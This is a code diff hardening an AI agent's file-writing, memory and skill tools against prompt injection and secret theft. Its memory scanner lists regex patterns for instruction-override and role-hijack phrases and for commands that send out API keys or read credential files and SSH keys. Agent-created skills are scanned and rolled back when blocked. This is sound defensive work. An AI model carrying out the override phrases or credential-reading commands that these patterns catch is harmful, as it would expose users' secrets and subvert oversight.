@ -564,21 +611,25 @@ class ShellFileOperations(FileOperations):
def write_file(self, path: str, content: str) -> WriteResult:
"""
Write content to a file, creating parent directories as needed.
Pipes content through stdin to avoid OS ARG_MAX limits on large
files. The content never appears in the shell command string
only the file path does.
Args:
path: File path to write
content: Content to write
Returns:
WriteResult with bytes written or error
"""
# Expand ~ and other shell paths
path = self._expand_path(path)
# Block writes to sensitive paths
if _is_write_denied(path):
return WriteResult(error=f"Write denied: '{path}' is a protected system/credential file.")
# Create parent directories
parent = os.path.dirname(path)
dirs_created = False
@ -619,19 +670,23 @@ class ShellFileOperations(FileOperations):
replace_all: bool = False) -> PatchResult:
"""
Replace text in a file using fuzzy matching.
Args:
path: File path to modify
old_string: Text to find (must be unique unless replace_all=True)
new_string: Replacement text
replace_all: If True, replace all occurrences
Returns:
PatchResult with diff and lint results
"""
# Expand ~ and other shell paths
path = self._expand_path(path)
# Block writes to sensitive paths
if _is_write_denied(path):
return PatchResult(error=f"Write denied: '{path}' is a protected system/credential file.")
# Read current content
read_cmd = f"cat {self._escape_shell_arg(path)} 2>/dev/null"
read_result = self._exec(read_cmd)

View file

@ -24,17 +24,66 @@ Design:
"""
import json
import logging
import os
import re
import tempfile
from pathlib import Path
from typing import Dict, Any, List, Optional
logger = logging.getLogger(__name__)
# Where memory files live
MEMORY_DIR = Path(os.getenv("HERMES_HOME", Path.home() / ".hermes")) / "memories"
ENTRY_DELIMITER = "\n§\n"
# ---------------------------------------------------------------------------
# Memory content scanning — lightweight check for injection/exfiltration
# in content that gets injected into the system prompt.
# ---------------------------------------------------------------------------
_MEMORY_THREAT_PATTERNS = [
# Prompt injection
(r'ignore\s+(previous|all|above|prior)\s+instructions', "prompt_injection"),
(r'you\s+are\s+now\s+', "role_hijack"),
(r'do\s+not\s+tell\s+the\s+user', "deception_hide"),
(r'system\s+prompt\s+override', "sys_prompt_override"),
(r'disregard\s+(your|all|any)\s+(instructions|rules|guidelines)', "disregard_rules"),
(r'act\s+as\s+(if|though)\s+you\s+(have\s+no|don\'t\s+have)\s+(restrictions|limits|rules)', "bypass_restrictions"),
# Exfiltration via curl/wget with secrets
(r'curl\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)', "exfil_curl"),
(r'wget\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)', "exfil_wget"),
(r'cat\s+[^\n]*(\.env|credentials|\.netrc|\.pgpass|\.npmrc|\.pypirc)', "read_secrets"),
# Persistence via shell rc
(r'authorized_keys', "ssh_backdoor"),
(r'\$HOME/\.ssh|\~/\.ssh', "ssh_access"),
(r'\$HOME/\.hermes/\.env|\~/\.hermes/\.env', "hermes_env"),
]
# Subset of invisible chars for injection detection
_INVISIBLE_CHARS = {
'\u200b', '\u200c', '\u200d', '\u2060', '\ufeff',
'\u202a', '\u202b', '\u202c', '\u202d', '\u202e',
}
def _scan_memory_content(content: str) -> Optional[str]:
"""Scan memory content for injection/exfil patterns. Returns error string if blocked."""
# Check invisible unicode
for char in _INVISIBLE_CHARS:
if char in content:
return f"Blocked: content contains invisible unicode character U+{ord(char):04X} (possible injection)."
# Check threat patterns
for pattern, pid in _MEMORY_THREAT_PATTERNS:
if re.search(pattern, content, re.IGNORECASE):
return f"Blocked: content matches threat pattern '{pid}'. Memory entries are injected into the system prompt and must not contain injection or exfiltration payloads."
return None
class MemoryStore:
"""
Bounded curated memory with file persistence. One instance per AIAgent.
@ -108,6 +157,11 @@ class MemoryStore:
if not content:
return {"success": False, "error": "Content cannot be empty."}
# Scan for injection/exfiltration before accepting
scan_error = _scan_memory_content(content)
if scan_error:
return {"success": False, "error": scan_error}
entries = self._entries_for(target)
limit = self._char_limit(target)
@ -147,6 +201,11 @@ class MemoryStore:
if not new_content:
return {"success": False, "error": "new_content cannot be empty. Use 'remove' to delete entries."}
# Scan replacement content for injection/exfiltration
scan_error = _scan_memory_content(new_content)
if scan_error:
return {"success": False, "error": scan_error}
entries = self._entries_for(target)
matches = [(i, e) for i, e in enumerate(entries) if old_text in e]

View file

@ -33,12 +33,38 @@ Directory layout for user skills:
"""
import json
import logging
import os
import re
import shutil
from pathlib import Path
from typing import Dict, Any, Optional
logger = logging.getLogger(__name__)
# Import security scanner — agent-created skills get the same scrutiny as
# community hub installs.
try:
from tools.skills_guard import scan_skill, should_allow_install, format_scan_report
_GUARD_AVAILABLE = True
except ImportError:
_GUARD_AVAILABLE = False
def _security_scan_skill(skill_dir: Path) -> Optional[str]:
"""Scan a skill directory after write. Returns error string if blocked, else None."""
if not _GUARD_AVAILABLE:
return None
try:
result = scan_skill(skill_dir, source="agent-created")
allowed, reason = should_allow_install(result)
if not allowed:
report = format_scan_report(result)
return f"Security scan blocked this skill ({reason}):\n{report}"
except Exception as e:
logger.warning("Security scan failed for %s: %s", skill_dir, e)
return None
import yaml
@ -196,6 +222,12 @@ def _create_skill(name: str, content: str, category: str = None) -> Dict[str, An
skill_md = skill_dir / "SKILL.md"
skill_md.write_text(content, encoding="utf-8")
# Security scan — roll back on block
scan_error = _security_scan_skill(skill_dir)
if scan_error:
shutil.rmtree(skill_dir, ignore_errors=True)
return {"success": False, "error": scan_error}
result = {
"success": True,
"message": f"Skill '{name}' created.",
@ -222,8 +254,17 @@ def _edit_skill(name: str, content: str) -> Dict[str, Any]:
return {"success": False, "error": f"Skill '{name}' not found. Use skills_list() to see available skills."}
skill_md = existing["path"] / "SKILL.md"
# Back up original content for rollback
original_content = skill_md.read_text(encoding="utf-8") if skill_md.exists() else None
skill_md.write_text(content, encoding="utf-8")
# Security scan — roll back on block
scan_error = _security_scan_skill(existing["path"])
if scan_error:
if original_content is not None:
skill_md.write_text(original_content, encoding="utf-8")
return {"success": False, "error": scan_error}
return {
"success": True,
"message": f"Skill '{name}' updated.",
@ -300,8 +341,15 @@ def _patch_skill(
"error": f"Patch would break SKILL.md structure: {err}",
}
original_content = content # for rollback
target.write_text(new_content, encoding="utf-8")
# Security scan — roll back on block
scan_error = _security_scan_skill(skill_dir)
if scan_error:
target.write_text(original_content, encoding="utf-8")
return {"success": False, "error": scan_error}
replacements = count if replace_all else 1
return {
"success": True,
@ -344,8 +392,19 @@ def _write_file(name: str, file_path: str, file_content: str) -> Dict[str, Any]:
target = existing["path"] / file_path
target.parent.mkdir(parents=True, exist_ok=True)
# Back up for rollback
original_content = target.read_text(encoding="utf-8") if target.exists() else None
target.write_text(file_content, encoding="utf-8")
# Security scan — roll back on block
scan_error = _security_scan_skill(existing["path"])
if scan_error:
if original_content is not None:
target.write_text(original_content, encoding="utf-8")
else:
target.unlink(missing_ok=True)
return {"success": False, "error": scan_error}
return {
"success": True,
"message": f"File '{file_path}' written to skill '{name}'.",

View file

@ -43,6 +43,7 @@ INSTALL_POLICY = {
"builtin": ("allow", "allow", "allow"),
"trusted": ("allow", "allow", "block"),
"community": ("allow", "block", "block"),
"agent-created": ("allow", "block", "block"),
}
VERDICT_INDEX = {"safe": 0, "caution": 1, "dangerous": 2}

3267
uv.lock generated Normal file

File diff suppressed because it is too large Load diff